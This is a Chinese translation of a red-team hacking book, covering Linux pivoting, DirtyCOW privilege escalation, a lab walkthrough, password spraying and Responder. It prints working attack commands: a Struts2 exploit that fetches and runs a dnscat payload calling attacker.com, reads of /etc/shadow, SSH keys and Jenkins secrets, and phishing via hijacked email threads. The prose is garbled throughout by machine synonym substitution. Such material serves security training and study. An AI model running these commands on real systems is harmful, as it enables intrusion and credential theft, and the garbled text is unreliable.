dnscat2: listen 127.0.0.1:9999 <target_IP>:22 Metasploit post/windows/manage/autoroute Metasploit Socks Proxy + Proxychains use auxiliary/server/socks4a Meterpreter: portfwd add –l 3389 –p 3389 –r <target_IP>如果你行运地得到了一个 SSH shell,那么咱们可以通过该系统进行浸透。咱们如何得到 SSH shell 呢?在许厚情况下,一朝咱们可以杀青土产货文献包含(LFI)或长途代码实行(RCE),咱们可以尝试权限升级以读取 /etc/shadow 文献(和密码破解),或者咱们可以利用一些 Mimimikatz 格调的方法。
与 Windows 和 Mimikatz 一样,Linux 系统也有相似的问题,密码以明文时势存储。@huntergregal 编写的器具可以转储特定程度,这些程度很可能以明文时势包含用户的密码。尽管迄今为止,这只适用于有限版块的 Linux 系统,但这个相通的主张可以在通盘系统中使用。你可以在这里准确地看到哪些系统以及从何处获取密码:
https://github.com/huntergregal/mimipenguin一朝咱们在被入侵的主机上得到了凭证,何况可以通过 SSH 反弹 shell,咱们就可以通过这个纯正传输流量,并在机器之间进行数据躲避。在 SSH 中,有一些很好的本性可以让咱们实行这个操作过程:
成立动态 Sock Proxy 以使用 proxychains 通过主机躲避咱们的扫数流量: ssh -D 127.0.0.1:8888 -p 22 @ <Target_IP> 单个端口的基本端口转发: ssh @<Target_IP> -L 127.0.0.1:55555:<Target_to_Pivot_to>:80 通过 SSH 的 VPN。这是一个相称棒的本性,使得可以通过 SSH 纯正躲避传输第3层辘集流量。 https://artkond.com/2017/03/23/pivoting-guide/#vpn-over-ssh Linux 提权Linux 权限提高在很大程度上与 Windows 近似。咱们寻找可以写入的易受攻击的做事、那些辣手的造作建立、平面文献中的密码、扫数的可写文献、筹备任务,天然还有修补问题。
在有用和高效地分析 Linux 系统中的权限提高问题方面,咱们可以使用一些器具来为咱们完成扫数的责任。
在咱们进行任何类型的权限提高攻击之前,我首先要在 Linux 主机上进行一个细密的信息汇集责任,并识别所关联于系统的信息。这包括用户、做事、定时任务、软件版块、弱信任对象、造作建立的文献权限,以致是 Docker 信息。咱们可以使用一个名为 LinEnum 的器具来为咱们完成扫数的累活( https://github.com/rebootuser/linenum )。
这是一个相称长的陈说,内容是你可能想要了解的对于底层系统的扫数信息,这对于将来的行径来说口舌常好的。
一朝咱们得到了对于系统的信息,咱们就会试图望望咱们是否能够利用这些缺点中的任何一个。如果咱们找不到任何可用的缺点或做事、筹备任务中的造作建立,咱们将顺利在系统或应用范例上进行攻击。我试着临了作念这些,因为老是有一个潜在的可能性可以顺利使系统挂掉。
咱们可以运行一个名为 linux-exploit-suggester 的器具来分析主机系统并识别缺失的补丁和缺点。一朝识别露马脚,该器具还将向你提供可用 PoC 缺点的贯穿。
现在,咱们要利用什么呢?这即是教会和实践果真弘扬作用的地方。在我的实验中,我将建立多数不同的 Linux 版块,以考证这些缺点攻击不会使底层系统崩溃。在这个场景中,我最可爱的一个缺点是 DirtyCOW。
DirtyCOW 的责任旨趣是“在Linux内核的内存子系统处理写拜谒时只读专有映射 COW 情况中断的方式中发现了竞争条件。非特权土产货用户可以使用此障碍获取对其他只读内存映射的写拜谒权限,从而增多他们在系统上的权限。”[https://dirtycow.ninja/]
简而言之,此缺点允许攻击者通过内核缺点从非特权用户转到 root 权限。这是咱们能料想的的最好权限提高的方法!但有一个问题是它会导致一些内核崩溃,是以咱们必须确保在正确的 Linux 内核上使用正确的版块。
在 Ubuntu 上测试 DirtyCOW (ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64):
下载 DirtyCOW payload wget -O dirtycow-mem.c 编译 DirtyCOW payload gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread 运行 DirtyCOW 以拜谒系统 ./dirtycow-mem 关闭如期写回以使缺点平定 echo 0 > /proc/sys/vm/dirty_writeback_centisecs Try reading the shadow file cat /etc/shadow Linux 横向出动实验横向出动的问题是,莫得一个成立开赴点渐渐深入的环境很难熟练。因此,咱们向你先容了 CSK 辘集安全实验。在这个实验中,你将在不同的开导之间进行切换,使用最近的缺点攻击和权限提高攻击,并利用 Linux 环境中自己存在的应用范例进行攻击。
成立诬捏环境
这个诬捏实验环境的成立有些复杂。这是因为辘集需要三个不同的静态诬捏机能力运行,何况你需要预先进行一些成立。扫数这些皆在 VMware Workstation 和 VMware Fusion 中进行了测试,因此如果你使用的是 VirtualBox,那么你可能需要对它进行安妥的治愈。
下载三台诬捏机:
?type=csk-lab 固然你不需要这些系统的 root 帐户,但 hacker/changeme 是用户名/密码,尽量不要变调。扫数三台诬捏机皆建立为使用 NAT 辘集接口。要使该实验环境正常责任,你必须在 VMware 中建立诬捏机的 NAT 成立,能力使用172.16.250.0/24辘集。要在 Windows VMware Workstation 中实行此操作,请实行以下操作:
在最先菜单,循序点击 裁剪 -> 诬捏辘集裁剪器 -> 变调成立 遴荐需要成立 NAT 类型的界面(我这里成立的是 VMnet8) 修改子网 IP 为 172.16.250.0 ,并点击 应用在 OSX 中,操作更复杂。你需要:
复制原始的 dhcpd.conf 作为备份 sudo cp /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf/Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf.bakup 裁剪 dhcpd.conf 文献以使用172.16.250.x 而不是192.168.x.x sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf 裁剪 nat.conf 以使用正确的网关 sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/nat.conf #NAT gateway address ip = 172.16.250.2 netmask = 255.255.255.0 重新启动做事: sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --stop sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --start现在,你应该能够在 NAT 模式下启动 THP Kali VM,并在172.16.250.0/24范围内得到一个 DHCP 分配的 IP。如果你这样作念了,就同期启动扫数其他三个实验诬捏机,然后最先黑客攻击吧。
攻击 CSK 安全辘集临了,你也曾从 Windows 环境转到了安全出产环境辘集中。从你扫数的侦察和研究中,你知说念扫数的奥密皆存储在这里。这是他们保护最严实的辘集之一,咱们知说念他们也曾分步部署了他们的安全基础设施。从他们的文档来看,似乎有多个 VLAN 需要进行入侵,而且你似乎需要在各个系统之间切换能力拜谒中枢数据库。这即是你发起这次攻击的目的......
以安全辘集区域的外部为中心,可以看到为此环境建立的辘集范围位于172.16.250.0/24辘集中。由于你对这个辘集不太了解,你可以先进行一些相称简单的 nmap 扫描。你需要肯定哪些系统可以从辘集外部拜谒,以肯定如何启动攻击。
扫描辘集:
nmap 172.16.50.0/24你珍爱到有三个开导正在运行,但只须一个开导启用了 Web 端口。看起来其他两个开导与安全辘集之外是隔断的,这意味着咱们必须首先入侵172.16.250.10开导能力转到其他两个做事器。拜谒第一个系统(172.16.250.10),你会看到 Apache Tomcat 正在监听端口8080,而一些 OpenCMS 在端口80上。运行 web fuzzer 时,你会珍爱到 OpenCMS 页面也在运行 Apache Struts2(或者是 struts2 showcase)。你的脑海立马料想了Equifax 数据流露事件中黑客的攻击手法。你闻宠若惊,太好了,但你如故要检讨一下。在 msfconsole 上运行一个快速搜索并测试缺点 struts2_content_type_ognl。
咱们知说念,CSK 会严格监控受保护的辘集流量,其里面做事器可能不允许顺利拜谒公司辘集。为了科罚这个问题,咱们必须使用咱们的 DNS C2 payload 和 dnscat2 来通过 UDP 而不是 TCP 进行通讯。天然,在真实操作中,咱们可能会使用巨擘的 DNS 做事器,但仅针对土产货测试的话,咱们将建立我方的 DNS 做事器。
[本书的 Kali 机器]
本书的定制 Kali 诬捏机应该领有实行攻击的扫数器具。
咱们需要在 Web 做事器上放上咱们的 payload,这样咱们就可以让咱们的 metasploit payload 抓取 dnscat 坏心软件。在 dnscat2 客户机文献夹中是 dnscat 二进制文献。 cd /opt/dnscat2/client/ python -m SimpleHTTPServer 80 启动 dnscat 做事器 cd /opt/dnscat2/server/ ruby ./dnscat2.rb 为 dnscat 记载你的密钥 打开新结尾并加载 Metasploit msfconsole 搜索 struts2并加载 struts2缺点 search struts2 use exploit/multi/http/struts2_content_type_ognl 建立 struts2缺点以获取咱们的 dnscat payload 并在受害者做事器上实行。确保在前边更新你的 IP 和密钥。 set RHOST 172.16.250.10 set RPORT 80 set TARGETURI struts2-showcase/showcase.action set PAYLOAD cmd/unix/generic set CMD wget http://<your_ip>/dnscat -O /tmp/dnscat && chmod+x /tmp/dnscat && /tmp/dnscat --dns server=attacker.com,port=53 --secret= run 一朝 payload 实行,你将不会在 Metasploit 中得到任何阐发,因为咱们使用了 dnscat 的 payload。你需要检讨你的 dnscat 做事器是否有任何使用 DNS 流量的结合。 回到 dnscat2做事器上,检讨新实行的 payload 并创建一个 shell 结尾。 与第一个 payload 进行交互 window -i 1 生成 shell 程度 shell 用键盘按钮复返主菜单 ctrl + z 与新 shell 进行交互 window -i 2 键入 shell 敕令 ls你也曾入侵了 OpenCMS/Apache Struts 做事器!现在要作念什么?你需要花一些期间检讨做事器并寻找趣味趣味的信息。你想起来做事器正在运行 OpenCMS Web 应用范例,并肯定该应用范例是在 /opt/tomcat/webapps/kittens 下建立的。在稽查 OpenCMS 属性的建立文献时,咱们发现数据库、用户名、密码和 IP 地址为 172.16.250.10。
检索数据库信息:
cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties咱们得胜结合到数据库了,但看不到太多信息。这是因为咱们面前是一个有限的 Tomcat 用户,这确乎阻碍了咱们的攻击。因此,咱们需要找到一种提权的方法。在做事器上运行 post exploitation reconnaissance(uname -a && lsb_release -a),你可以识别出这是一个相称旧的 Ubuntu 版块。行运的是,此做事器容易受到权限提高缺点 DirtyCOW 的攻击。让咱们创建一个 DirtyCOW 二进制文献并转到根目次!
Escalation 提高 dnscat 权限:
下载并编译目次: cd /tmp wget -O dirtycow-mem.c gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread ./dirtycow-mem 尝试保持 DirtyCOW 缺点利用的平定性,并允许内核崩溃时重新启动。 echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn whoami珍爱:DirtyCOW 不是一个相称平定的提权方法。如果你对缺点利用过程有问题,请稽查我的 Github 页面,在这里了解创建 setuid 二进制文献的更平定的过程:
https://raw.githubusercontent.com/cheetz/dirtycow/master/THP-Lab 如果仍然有问题,另一个选项是通过 SSH 登录到开动做事器,并以 root 身份实行 dnscat payload。要登录,请使用凭证 hacker/changeme 登录系统并使用 sudo-su 得到 root 权限。现在,由于主机系统上莫得补丁,你也曾成为系统的 root 用户。当你再次最先为明锐信息翻阅系统文献时,你会看到 root 的 bash 历史文献。在这个文献中,你可以找到 SSH 敕令和专有 SSH 密钥起首。咱们可以使用此 SSH 密钥并登录到第二个系统172.16.250.30:
cat ~/.bash_history head ~/.ssh/id_rsa ssh -i ~/.ssh/id_rsa root@172.16.250.30你花了一些期间在第二个系统上,试着领路它的用途。在四处搜索时,你珍爱到在 /home 目次中有一个 Jenkins 用户,它率领你识别在端口8080上运行的 Jenkins 做事。咱们如何使用浏览器稽查 Jenkins 做事器上的内容?这即是 dnscat 的端口转发功能弘扬作用的地方。咱们需要退出首先的shell,去敕令结尾。从那里,咱们需要成立一个监听器,通过 dnscat 将咱们的流量从攻击者机器转发到端口8080上的 Jenkins Box(172.16.250.30)。
实行 dnscat 端口转发:
退出现存的 shell Ctrl + z 复返咱们的第一个敕令代理并成立一个监听器/端口转发: window -i 1 listen 127.0.0.1:8080 172.16.250.30:8080 在你的 Kali 诬捏机上,使用咱们的端口转发代理打开浏览器并打开底下的地址(这将比 dns 慢一些): :8080/jenkins在 Jenkins 应用范例内的凭证料理器里面,咱们将看到 db_backup 用户密码已存储,但不可见。 咱们需要弄领会如何从 Jenkins 中获取此凭证,以便咱们可以陆续横向出动。
n00py 对 Jenkins 中存储的凭证以及如何索要它们作念了一些很好的研究( )。 咱们可以使用现存的 shell 来利用此攻击并获取 credentials.xml,master.key 和 hudson.util.Secret 文献。
复返 dnscat 中的主菜单并与原始 shell 进行交互 Ctrl + z window -i 2 转到 Jenkins 的主目次并获取三个文献:credentials.xml,master.key 和 hudson.util.Secret。 cd /home/Jenkins 咱们可以尝试关闭这些文献,或者咱们可以将这些文献作为基础并通过当前的 shell 复制它们。 base64 credentials.xml base64 secrets/hudson.util.Secret base64 secrets/master.key 咱们可以将 base64输出复制回咱们的 Kali 系统并解码它们以破解 db_backup 用户的密码。 cd /opt/jenkins-decrypt echo “” | base64 —decode > hudson.util.Secret echo “” | base64 —decode > master.key echo “” | base64 —decode > credentials.xml 使用 https://github.com/cheetz/jenkins-decrypt 解密密码 python3 ./decrypt.py master.key hudson.util.Secret credentials.xml咱们能够得胜解密 db_backup 用户的密码 )uDvra{4UL^;r?*h。如果咱们回顾一下之前的扫视,咱们会在 OpenCMS 属性文献中看到数据库做事器位于 172.16.250.50。看起来这个 Jenkins 做事器出于某种原因会对数据库做事器实行某种备份。让咱们检讨一下咱们是否可以获取 db_backup 的凭证:利用 )uDvra{4UL^;r?*h 通过 SSH 登录数据库做事器。唯一的问题是通过咱们的 dnscat shell,咱们莫得顺利按圭臬输入(STDIN)来与 SSH 的密码教唆进行交互。 因此,咱们将不得不再次使用咱们的端口将咱们的 SSH shell 从 Kali 诬捏机通过 dnscat 代理传递到数据库做事器(172.16.250.50)。
回到敕令 shell Ctrl + z window -i 1 创建一个新的端口转发,从 localhost 转到172.16.250.50的数据库做事器 listen 127.0.0.1:2222 172.16.250.50:22一朝使用 db_backup 帐户进入数据库做事器(172.16.250.50),咱们会珍爱到此帐户是 sudoers 文献的一部分,何况可以 sudo su 到 root。 一朝 root 在数据库做事器上,咱们将四处寻找也找不到任何拜谒数据库的凭证。咱们可以重置 root 数据库密码,但最终可能会碎裂其他一些应用范例。相背,咱们搜索位于/var/lib/mysql 下的不同数据库,并发现 cyberspacekittens 数据库。在这里,咱们找到 secrets.ibd 文献,其中包含 secrets 表的扫数数据。在咱们阅读数据时,咱们意志到它可能是加密的...由你来实行剩下的操作...
恭喜!!!你已得胜入侵 Cyber Space Kittens 辘集!
不要停步于此...你可以用这些系统作念许多事情;咱们现在只触及了名义。放纵在被入侵的系统上翻阅,找到更明锐的文献,找出其他权限升级的方法,等等。作为参考,在本实验中,环境拓扑如下所示:
本章总结在本章中,咱们经历了入侵辘集的一系列操作。 咱们最先在外部辘集上莫得任何凭证或利用社会工程的方式入侵到咱们的第一个受害者系统。从那里最先,咱们能够利用宗旨系统自己的应用范例,获取关联辘集和主机系统的信息,横向出动,权限提高,并最终攻陷通盘辘集。这一切皆是建立在最少程度的扫描,利用辘集本性,并试图走避扫数检测机制之上完成的。
第4章 带球——最先攻击辘集译者:@Snowming
校对者:@鶇、@leitbogioro、@哈姆太郎、@匿名jack
在进行风险评估式样的第二天,你使用 nmap 扫描了宗旨的全部网段,还启动了缺点扫描器,但运说念不太好,你莫得探伤出任何 Web 应用范例的开动进口点。这让你感到有些失败,需要反念念一下,重新回顾一下之前汇集到的扫数信息。因为你知说念,一朝可以进入宗旨辘集,就可以使用无数的技巧来得到更多的凭证、在域中漫游、利用 AD(行径目次)的本性,临了找到咱们要找的东西。天然,这不是一件容易的事。因为你要绕过强大防火墙,还要诈骗料理员,临了还要擦除我方的印迹。
在上一册书中,本部分细心于使用缺点扫描器来发现缺点并利用它们。这是通过使用诸如 Metasploit、打印机缺点、腹黑滴血、Shellshock、SQL 注入等常见缺点的利用器具来杀青的。最近一段期间,爆出了许多严重的长途代码实行缺点,比如 不朽之蓝(MS017-10)、多个版块的 Jenkins 缺点、Apache Struts 2、CMS 应用的代码实行缺点等等。因为本书是以红队的视角来讲解的,因此咱们不会过多地关注如何使用这些器具来攻击利用特定的缺点。相背,咱们将关注如何利用公司现存的应用范例,马上取材来发现缺点,然后攻破公司辘集。
在本章中,将麇集磋磨红队的战术,如何利用公司基础设施、获取身份凭证、探索里面辘集以及在主机和辘集之间进行漫游。咱们将在不运行任何一个缺点扫描器的前提下完成这项责任。
从外网寻找侵入对方系统的登陆凭证作为一个红队成员,找到首先的攻击点可能很费劲,需要摧折多数的资源。在上本书中,咱们尝试过伪造受害者的身份考证页面、购买相称相似的域名来对宗旨实施垂钓,以及编写自界说的坏心软件等不同的方法。
有时候,我告诉我的红队队员要保持简单的念念想。许多时候,那些令东说念主赞赏的高等技能,反而不如一些简单初级的方法管用,最简单的方法时时是最有用的。
最基本的时代之一即是暴力破解密码。但是,作为红队的一员,咱们必须研究如何微妙地作念到这一丝。随着公司的发展,公司使用了更多的应用范例和时代器具。对于攻击者来说,这无疑为他们拓宽了障碍的大门。当公司最先裸露在互联网上时,咱们看到公司需要对电子邮件(如 Office 365或 OWA)、通讯器具(如 Lync、XMPP、WebEx)、团结器具(如 JIRA、Slack、Hipchat、Huddle)和其他外部做事(如 Jenkins、CMS 站点、接济站点)进行身份考证。这些即是咱们的宗旨突破口。
咱们试图攻击这些做事器和做事的原因是,咱们需要寻找能对受害者的 LDAP 或 AD 这些基础设施进行身份考证的器具。这可以通过 ADFS 方式、单点登录(SSO)方式或者顺利使用 AD 域认证等不同的方式来完成。咱们需要找到一些可以利用的全球凭证,以便陆续进行下一步的攻击。在信息汇集阶段,咱们发现并识别了多数的电子邮箱地址和用户名帐号,咱们将对这些获取到的信息进行一种叫“密码喷洒”(Password Spraying)的攻击。咱们将针对扫数不同的应用范例,尝试猜测基本密码,正如咱们在现实宇宙的 APT 行径中看到的那样( US-CERT 著述: )。
译者注:“密码喷洒攻击”(Password Spray Attack)并不等同于“密码爆破攻击”(Brute Force Attack)。事实上,这两种攻击是相背的。在密码爆破攻击中,黑客遴荐一个易受攻击的 ID 并一个接一个地输入密码,但愿有一些密码可以让他们进入。基本上,密码爆破是用多个密码尝试破解并吞个 ID。而密码喷洒攻击,是用一个密码来尝试多个用户 ID,以便至少有一个用户 ID 被流露。对于密码喷洒攻击,黑客使用外交工程或其他辘集垂钓方法汇集多个用户 ID。日常情况下,至少有一个用户使用简单的密码,如12345678以致是 p@ssw0rd。在密码喷洒攻击中,黑客会为他或她汇集的扫数用户 ID 应用全心构造的密码。因此,密码喷洒攻击可以界说为将相通的密码应用于组织中的多个用户帐户,目的是安全的对其中一个帐户进行未授权拜谒。暴力破解的问题在于,在使用不同密码进行一定次数的尝试后,系统可能会被锁定。为了幸免这种情况,产生了汇集用户 ID 并将可能的密码应用于它们的想法。使用密码喷洒攻击时,黑客也会采取一些防止措施。举例,如果他们尝试将 password1应用于扫数用户帐户,则在完成第一轮后,他们不会立即最先将 password2应用于这些帐户。他们将在黑客攻击中留出至少30分钟的期间。参考尊府:Password Spray Attack Definition and Defending yourself
那么,为什么要针对不同的外部做事进行身份考证呢?这是因为:
有些身份考证范例不会记载从外部做事尝检修证的次数。 固然咱们日常看到电子邮件或 VPN 系统要求双身分考证(2FA),但面向外部的即时通讯系统可能不需要。 密码重用的可能性相称高。 有的时候,当使用 AD 账户屡次重迭登录失败时,外部系统并不会将此账户锁定。有许多器具可以杀青密码喷洒攻击,但是,咱们只关注其中的几个。第一个是来自 Spiderlabs 的名为 Spray 的器具。尽管 Spray 使用起来有点复杂,但我相称可爱它所接济的一些做事。举例,它接济 SMB、OWA 和 Lync(Microsoft Chat)。
要使用 Spray,你需要指定以下几个参数:
正如你将鄙人面的示例中看到的那样,咱们使用 Spray 对 cyberspacekittens 上的一个 OWA 邮件做事器(该做事器现在也曾下线了)进行密码破解,当它使用密码 Spring2018与用户名 peter 尝试进行配对时,得胜的登进了系统。
我日常遭遇的一个问题是,应该使用哪个密码进行尝试?因为在锁定帐号之前,只可不竭的屡次尝试密码。事实上这个问题莫得正确谜底,使用哪个密码相称依赖于这家公司的密码成立规则。咱们往常可以使用一些简单密码进行尝试,比如“Password123”,因为总有一些东说念主会因为图浅显而使用简单密码。但随着东说念主们安全意志的提高,现在现在越来越少东说念主使用这种密码了,因而得胜率也就变低了。现在的话,咱们一般会聚使用以下规则的一条到多条来构建咱们的尝试密码:
月份和年份的数字组合。 当地的球队和球员的数字编号组合。 稽查一些以前泄涌现来的数据,找一些有莫得宗旨公司的用户尊府流露,因为相通公司的用户可能会使用近似的密码。 公司称呼+年份/编号/特殊的字符 (如!,$,#,@)编好了密码之后,咱们就可以24小时不隔断圣洁地运行咱们的账号破解范例,慢是为了幸免触发任何帐号锁定。请记着,咱们只是匹配得胜一个账号就可以进入大门了!
此图是使用 Curl 对 OWA 进行身份认证的快速剧本
建立 Spray 相称简单,而且其建立文献可以很容易地给其他近似范例参考使用。你需要作念的是拿获登录密码时的 POST 央求(可以在 Burp Suite 中完成),复制扫数央求数据,并将其保存到文献中。对于任何将要被破解的字段,你需要提供字符串“sprayuser”和“spraypassword”。
举例,在咱们的例子中,post-request.txt 文献如下所示:
POST /owa/auth.owa HTTP/1.1 Host: mail.cyberspacekittens.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://mail.cyberspacekittens.com/owa/auth/logon.aspx?replaceCurrent=1&url=https://mail.cyberspacekittens.com/owa/ Cookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 131 destination=https://cyberspacekittens.com/owa/&flags=4&forcedownlevel=0
译者注:临了一个 destination 字段的内容本书的英文版块貌似夸耀不全,至少是我拿到的英文版块 PDF 夸耀不全。我只是简单的复制自 PDF,读者珍爱一下。
如前所述,spray.sh 的另一个克己是它还接济 SMB 和 Lync。另一种具备这个本性的器具称为 Ruler,这个器具还可以对密码喷洒攻击得到的结果进行进一步处理。Ruler 是 Sensepost 安全团队编写的一个器具,它允许你通过 MAPI/HTTP 或 RPC/HTTP 左券与 Exchange 做事器交互。固然咱们主要磋磨使用 Ruler 来进行密码破解/信息汇集,但是这个器具也接济一些持久性缺点利用攻击,咱们将略微说起这点。
咱们可以用的 Ruler 的第一个功能近似于 Spray,它通过对用户名和密码进行匹配来进行账号的破解。Ruler 将载入用户名列表和密码,并尝试查找登陆凭证。它将自动寻找 Exchange 做事器的环节建立并尝试查找登陆凭证。
运行 Ruler:
一朝咱们找到了一个密码,咱们就可以使用 Ruler 来获取 Office 365的全局地址列表(GAL)中的扫数用户,以查找更多的电子邮件地址及其所属的电子邮件组。
咱们陆续将获取的这些电子邮件地址通过上头说起的那些密码破解器具来进行破解的尝试,从而得到更多的身份凭证——这就和滚雪球一样。不外,Ruler 的主要用途是,一朝你有了身份凭证,你就可以利用 Office/Outlook 的一些功能来在受害者的电子邮件帐户上创建规则和表单。这里有一篇来自 SensePost 安全团队的著述 outlook-forms-shells,先容了他们是怎样利用这些功能来实行包含 Empire payload 的宏文献的。
如果你决定不使用 Outlook 表单,或者该功能也曾被禁用,咱们的念念路还可以回到对电子邮件的攻击。这可能会让你感到有点粗暴,因为你将使用这些普通用户的账号登录并阅读他们的扫数电子邮件。当咱们昂扬的阅读某个用户的电子邮件时,咱们会想要和某个他似乎有点信任(但又不算好一又友)的东说念主进行对话。既然也曾有了信任的基础,咱们就可以利用这个契机给他发送坏心软件。日常,咱们会更正一次会话,在里面夹带附件(如 Office 文献/可实行文献),然后重新发给他们,不外这次附件包含了咱们的坏心 payload。在受信任的内网结合和电子邮件之中传递坏心软件,得胜掩护了咱们的身份,并使这次行动得到得胜。
本书长久强调的一丝是,通盘攻击行动的目的是为了测试蓝队的抑制检测器具和济急响应进程的遵循。咱们行动的宗旨相称明确,即是不雅察他们是否能够有所警悟。又或者像法医剖解那样,仔细复盘行动中发生的一切。对于本节的实验设想,我的想法是考证公司是否能够肯定有东说念主正在窃取用户们的电子邮件。是以,咱们要作念的是使用 Python 剧底本获取扫数被碎裂的电子邮件。在许厚情况下,这可能是千兆字节的数据!
高等选修实验一个很好的熟练是:攻击不同类型的的身份考证做事并对其进行密码尝试。尝试构建一个密码喷洒(Password Spraying)器具,用于测试针对 XMPP 做事、常见第三方 SaaS 器具和其他常见左券的身份考证。最好是在多个 VPS 做事器中实行此操作,扫数 VPS 做事器皆由一个主做事器控制。
通过辘集出动作为又名红队成员,咱们但愿尽可能安静地在辘集中穿梭。咱们但愿使用“特征”来查找和利用关联辘集、用户、做事等信息。日常,在红队行径中,咱们不但愿在内网环境中进行任何缺点扫描联系的行径。有时咱们以致不但愿对里面辘集运行 nmap 扫描。这是因为许多公司也曾相称擅长检测这些类型的扫描,至极是在运行缺点扫描器这样动静很大的东西时。
在本节中,你将麇集元气心灵在不触发任何检测防护的情况下在 CSK 的辘集进行横向漫游。咱们假设你也曾以某种方式进入里面辘集并最先寻找你的第一组凭证,或者也曾领有了一个用户机器上的 shell。
建立环境——实验辘集这部分完全是自界说的,但由于微软的授权限定,这本书里没法给你也曾制作好的的基于 Windows 的实验环境部署环境。是以至于若何作念,就得看你的动手智商了!
果真学会如何攻击宗旨环境的唯一方法是我方亲手构建一下宗旨环境。这能使你更领会地了解你正在攻击什么,为什么攻击有时候有用,有时候无效,并了解某些特定器具或进程的局限性。那么你需要建立什么样的实验环境呢?基于客户端的环境,Windows 和 Linux(以致 Mac)可能皆需要一个。如果你正在攻击企业辘集,你可能需要构建一个完整的 Active Directory 辘集(域环境)。鄙人面的实验中,咱们将学习如何为本书中的扫数例子构建一个测试环境。
一个盼愿的 Windows 测试实验环境,你可以我方创建,粗略是底下这样的:
域控制器-做事器:[Windows 2016域控制器] Web做事器:[IIS on Windows 2016] 客户端机器:[Windows 10]x3和 [Windows 7]x2 全部运行着 VMWare 的责任站中,责任站的内存至少16GB,SSD 硬盘500GB建立和创建域控制器:
微软对于构建2016版做事器的说明: https://blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/ 短地址: 安设和建立 Active Directory 之后,使用:dsac.exe 创建用户和组 创建多个用户 创建组并分配给用户(底下是分组): Space Helpdesk Lab成立客户端机器(Windows 7/10)加入域:
将扫数机器皆打好系统补丁 将机器结合到域 https://helpdeskgeek.com/how-to/windows-join-domain/ 确保添加一个域用户,该用户能够作为土产货料理员在每个系统上运行。这可以通过将该域用户添加到土产货机器上的土产货 administrators 组来杀青。 在每个主机上启用土产货料理员并成立密码将 GPO(组策略)成立为:
禁用防火墙 ( https://www.youtube.com/watch?v=vxXLJSbx1SI ) 禁用 AV( ) 禁用系统自动更新 将 Helpdesk 用户组添加到土产货料理员组 仅允许域料理员、土产货料理员、Helpdesk 登录( ) 临了,将 GPO 成立同步到主域将每个操作系统的扫数用户成立为自动登录(这会使得攻击测试愈加容易)。每次机器启动或重新启动时,它皆会自动登录,这样咱们就可以缩小地进行攻击并从内存中索要凭证:
https://support.microsoft.com/en-us/help/324737/how-to-turn-on-automatic-logon-in-windows 短地址:成立 IIS 做事器并建立 SPN:
https://www.rootusers.com/how-to-install-iis-in-windows-server-2016/ 短地址: https://support.microsoft.com/en-us/help/929650/how-to-use-spns-when-you-configure-web-applications-that-are-hosted-on 短地址: 在内网中莫得凭证假设你无法通过探伤外部做事得到任何密码,因此决定潜入大楼里面。你比及午饭后,潜入 Cyber Space Kittens 的办公室,找到抽烟室。即使你不抽烟,但你也知说念抽烟的东说念主有结伴神色。你点上一支烟,但是可以不和他们语言,但当他们走进他们的大楼时,你就可以随着他们全部进去,缩小极了!
既然你也曾闯入了 CSK 的里面环境,你可不想在那里呆太久被收拢。你拿出你相称信任的 drop box,找到一间空办公室,把它插上辘集,检讨你的手机,望望它是否正确传回了 beacon 到了你的家中,阐发之后连忙逃回安全的地方。
当你汗流夹暗自回到家时候,连忙地找到你的条记本电脑,登陆你的 VPN 做事器,当你看到阿谁 beacon 还在结合家里的时候,你就可以松连气儿了。现在你可以现在用 SSH 结合 beacon,可以迟缓地去拓展受感染主机的里面辘集,在多个主机之间出动,并尝试拿到你所温柔的数据。
Responder就像在上一个行径中一样,咱们使用 Responder 在辘集上侦听并伪造央求以得到辘集上的凭证。回顾一下上本书,当辘集上的系统实行查找 DNS 主机名失败时,受害者系统就会使用 Link-Local Multicast Name Resolution(简称 LLMNR)和 Net-BIOS Name Service(NBT-NS)进行回退 DNS 称呼解析。当受害者的电脑无法进行 DNS 查找时,他就会最先研究辘集上的任何东说念主是否知说念该主机名的解析方法。
一个简单而通用的例子:假设你电脑里有一个固定的分享硬盘驱动器目次,为:\cyberspacekittenssecretdrive\secrets。有一天,IT 部门从辘集中删除了分享驱动器,它就不存在了。但由于名为 cyberspacekittenssecretdrive 的做事器仍然有一个挂载的驱动器,因此系统将络续研究辘集是否有东说念主知说念此驱动器并回话它的 IP。固然现在这种文献分享示例可能很有数,但是,由于以前结合的系统很可能不再存在于辘集上,是以这个问题仍然会发生。咱们也曾从已挂载的驱动器、具有硬编码做事器的应用范例以及许屡次的造作建立中看到了这一丝。
咱们可以使用像 Responder 这样的器具来利用那些寻找有主机名的系统,并使用咱们的攻击做事器对其进行响应。更好的是,Responder 可以更进一步,充任 WPAD(Web Proxy Auto-Discovery Protocol,Web 代理自动发现左券)做事器,通过咱们的攻击者做事器代理扫数数据,但这是另一种攻击了。
